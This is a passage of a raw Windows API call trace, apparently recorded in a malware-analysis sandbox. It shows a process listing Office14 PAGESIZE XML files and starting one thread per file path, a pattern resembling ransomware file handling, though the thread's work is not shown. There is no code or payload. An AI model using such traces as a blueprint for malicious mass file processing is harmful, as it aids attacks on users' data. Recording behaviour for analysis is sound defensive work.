nFileSizeLow=0xb3da, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL093.XML", cAlternateFileName="")) returned 1 [0166.334] wcscmp (_String1="PGLBL093.XML", _String2=".") returned 1 [0166.334] wcscmp (_String1="PGLBL093.XML", _String2="..") returned 1 [0166.334] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7b08 [0166.334] wcscpy (in: _Dest=0x8e7b08, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0166.335] wcscat (in: _Dest=0x8e7b08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0166.335] wcscat (in: _Dest=0x8e7b08, _Source="PGLBL093.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML" [0166.335] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7b08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c [0166.336] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b48300, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32b48300, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x1a1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL095.XML", cAlternateFileName="")) returned 1 [0166.336] wcscmp (_String1="PGLBL095.XML", _String2=".") returned 1 [0166.336] wcscmp (_String1="PGLBL095.XML", _String2="..") returned 1 [0166.336] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7b98 [0166.336] wcscpy (in: _Dest=0x8e7b98, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0166.336] wcscat (in: _Dest=0x8e7b98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0166.336] wcscat (in: _Dest=0x8e7b98, _Source="PGLBL095.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML" [0166.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18fc [0166.337] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39db9100, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39db9100, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x19ede, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL096.XML", cAlternateFileName="")) returned 1 [0166.337] wcscmp (_String1="PGLBL096.XML", _String2=".") returned 1 [0166.337] wcscmp (_String1="PGLBL096.XML", _String2="..") returned 1 [0166.337] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e80a8 [0166.337] wcscpy (in: _Dest=0x8e80a8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0166.337] wcscat (in: _Dest=0x8e80a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0166.337] wcscat (in: _Dest=0x8e80a8, _Source="PGLBL096.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML" [0166.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e80a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb68 [0166.338] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f636100, ftCreationTime.dwHighDateTime=0x1c9ef1a, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f636100, ftLastWriteTime.dwHighDateTime=0x1c9ef1a, nFileSizeHigh=0x0, nFileSizeLow=0x80ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL097.XML", cAlternateFileName="")) returned 1 [0166.339] wcscmp (_String1="PGLBL097.XML", _String2=".") returned 1 [0166.339] wcscmp (_String1="PGLBL097.XML", _String2="..") returned 1 [0166.339] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7208 [0166.339] wcscpy (in: _Dest=0x8e7208, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0166.339] wcscat (in: _Dest=0x8e7208, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0166.339] wcscat (in: _Dest=0x8e7208, _Source="PGLBL097.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML" [0166.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x142c [0166.340] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c357500, ftCreationTime.dwHighDateTime=0x1c6d897, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c357500, ftLastWriteTime.dwHighDateTime=0x1c6d897, nFileSizeHigh=0x0, nFileSizeLow=0xe730, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL102.XML", cAlternateFileName="")) returned 1 [0166.340] wcscmp (_String1="PGLBL102.XML", _String2=".") returned 1 [0166.340] wcscmp (_String1="PGLBL102.XML", _String2="..") returned 1 [0166.340] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6758 [0166.340] wcscpy (in: _Dest=0x8e6758, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0166.340] wcscat (in: _Dest=0x8e6758, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0166.340] wcscat (in: _Dest=0x8e6758, _Source="PGLBL102.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML" [0166.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18b8 [0166.341] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45027800, ftCreationTime.dwHighDateTime=0x1ca0f15, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45027800, ftLastWriteTime.dwHighDateTime=0x1ca0f15, nFileSizeHigh=0x0, nFileSizeLow=0x27aee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL103.XML", cAlternateFileName="")) returned 1 [0166.341] wcscmp (_String1="PGLBL103.XML", _String2=".") returned 1 [0166.341] wcscmp (_String1="PGLBL103.XML", _String2="..") returned 1 [0166.341] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6bd8 [0166.341] wcscpy (in: _Dest=0x8e6bd8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0166.341] wcscat (in: _Dest=0x8e6bd8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0166.342] wcscat (in: _Dest=0x8e6bd8, _Source="PGLBL103.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML" [0166.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb98 [0166.343] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf61dc500, ftCreationTime.dwHighDateTime=0x1ca1702, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf61dc500, ftLastWriteTime.dwHighDateTime=0x1ca1702, nFileSizeHigh=0x0, nFileSizeLow=0x1fcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL104.XML", cAlternateFileName="")) returned 1 [0166.343] wcscmp (_String1="PGLBL104.XML", _String2=".") returned 1 [0166.343] wcscmp (_String1="PGLBL104.XML", _String2="..") returned 1 [0166.343] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6b48 [0166.343] wcscpy (in: _Dest=0x8e6b48, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0166.343] wcscat (in: _Dest=0x8e6b48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0166.343] wcscat (in: _Dest=0x8e6b48, _Source="PGLBL104.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML" [0166.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb48 [0166.344] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ffeb200, ftCreationTime.dwHighDateTime=0x1c9fa22, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ffeb200, ftLastWriteTime.dwHighDateTime=0x1c9fa22, nFileSizeHigh=0x0, nFileSizeLow=0x15090, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL105.XML", cAlternateFileName="")) returned 1 [0166.346] wcscmp (_String1="PGLBL105.XML", _String2=".") returned 1 [0166.346] wcscmp (_String1="PGLBL105.XML", _String2="..") returned 1 [0166.346] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7f88 [0166.346] wcscpy (in: _Dest=0x8e7f88, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0166.346] wcscat (in: _Dest=0x8e7f88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0166.346] wcscat (in: _Dest=0x8e7f88, _Source="PGLBL105.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML" [0167.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdbc [0167.915] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2fb7700, ftCreationTime.dwHighDateTime=0x1ca1b41, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2fb7700, ftLastWriteTime.dwHighDateTime=0x1ca1b41, nFileSizeHigh=0x0, nFileSizeLow=0x9ae4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL106.XML", cAlternateFileName="")) returned 1 [0167.915] wcscmp (_String1="PGLBL106.XML", _String2=".") returned 1 [0167.915] wcscmp (_String1="PGLBL106.XML", _String2="..") returned 1 [0167.915] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e80a8 [0167.915] wcscpy (in: _Dest=0x8e80a8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.915] wcscat (in: _Dest=0x8e80a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.915] wcscat (in: _Dest=0x8e80a8, _Source="PGLBL106.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML" [0167.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e80a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae0 [0167.916] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45218b00, ftCreationTime.dwHighDateTime=0x1ca1b45, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45218b00, ftLastWriteTime.dwHighDateTime=0x1ca1b45, nFileSizeHigh=0x0, nFileSizeLow=0x1d5c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL107.XML", cAlternateFileName="")) returned 1 [0167.916] wcscmp (_String1="PGLBL107.XML", _String2=".") returned 1 [0167.916] wcscmp (_String1="PGLBL107.XML", _String2="..") returned 1 [0167.916] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7208 [0167.916] wcscpy (in: _Dest=0x8e7208, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.916] wcscat (in: _Dest=0x8e7208, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.917] wcscat (in: _Dest=0x8e7208, _Source="PGLBL107.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML" [0167.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1510 [0167.969] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e92800, ftCreationTime.dwHighDateTime=0x1c9f4a1, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82e92800, ftLastWriteTime.dwHighDateTime=0x1c9f4a1, nFileSizeHigh=0x0, nFileSizeLow=0x2dbec, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL108.XML", cAlternateFileName="")) returned 1 [0167.969] wcscmp (_String1="PGLBL108.XML", _String2=".") returned 1 [0167.969] wcscmp (_String1="PGLBL108.XML", _String2="..") returned 1 [0167.969] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6758 [0167.969] wcscpy (in: _Dest=0x8e6758, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.969] wcscat (in: _Dest=0x8e6758, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.969] wcscat (in: _Dest=0x8e6758, _Source="PGLBL108.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML" [0167.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150c [0167.972] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b1600, ftCreationTime.dwHighDateTime=0x1ca14c1, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0b1600, ftLastWriteTime.dwHighDateTime=0x1ca14c1, nFileSizeHigh=0x0, nFileSizeLow=0x2b6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL109.XML", cAlternateFileName="")) returned 1 [0167.972] wcscmp (_String1="PGLBL109.XML", _String2=".") returned 1 [0167.972] wcscmp (_String1="PGLBL109.XML", _String2="..") returned 1 [0167.972] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e8378 [0167.972] wcscpy (in: _Dest=0x8e8378, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.972] wcscat (in: _Dest=0x8e8378, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.972] wcscat (in: _Dest=0x8e8378, _Source="PGLBL109.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML" [0167.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8378, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d4 [0167.973] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x643bf200, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x643bf200, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0xcdbee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL110.XML", cAlternateFileName="")) returned 1 [0167.973] wcscmp (_String1="PGLBL110.XML", _String2=".") returned 1 [0167.973] wcscmp (_String1="PGLBL110.XML", _String2="..") returned 1 [0167.973] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e70e8 [0167.973] wcscpy (in: _Dest=0x8e70e8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.973] wcscat (in: _Dest=0x8e70e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.973] wcscat (in: _Dest=0x8e70e8, _Source="PGLBL110.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML" [0167.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e70e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d0 [0167.975] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x656d1f00, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x656d1f00, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0x40198, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL111.XML", cAlternateFileName="")) returned 1 [0167.975] wcscmp (_String1="PGLBL111.XML", _String2=".") returned 1 [0167.975] wcscmp (_String1="PGLBL111.XML", _String2="..") returned 1 [0167.975] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6998 [0167.975] wcscpy (in: _Dest=0x8e6998, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.975] wcscat (in: _Dest=0x8e6998, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.975] wcscat (in: _Dest=0x8e6998, _Source="PGLBL111.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML" [0167.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14ac [0167.976] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07a0100, ftCreationTime.dwHighDateTime=0x1ca2c4b, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07a0100, ftLastWriteTime.dwHighDateTime=0x1ca2c4b, nFileSizeHigh=0x0, nFileSizeLow=0x2247e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN001.XML", cAlternateFileName="")) returned 1 [0167.976] wcscmp (_String1="PGMN001.XML", _String2=".") returned 1 [0167.976] wcscmp (_String1="PGMN001.XML", _String2="..") returned 1 [0167.976] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x12c506c0 [0167.976] wcscpy (in: _Dest=0x12c506c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.976] wcscat (in: _Dest=0x12c506c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.976] wcscat (in: _Dest=0x12c506c0, _Source="PGMN001.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML" [0167.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c506c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0 [0167.978] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x669e4c00, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x669e4c00, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0xeb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN002.XML", cAlternateFileName="")) returned 1 [0167.978] wcscmp (_String1="PGMN002.XML", _String2=".") returned 1 [0167.978] wcscmp (_String1="PGMN002.XML", _String2="..") returned 1 [0167.978] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x12c508e0 [0167.978] wcscpy (in: _Dest=0x12c508e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.978] wcscat (in: _Dest=0x12c508e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.978] wcscat (in: _Dest=0x12c508e0, _Source="PGMN002.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML" [0167.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c508e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1308 [0167.980] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, 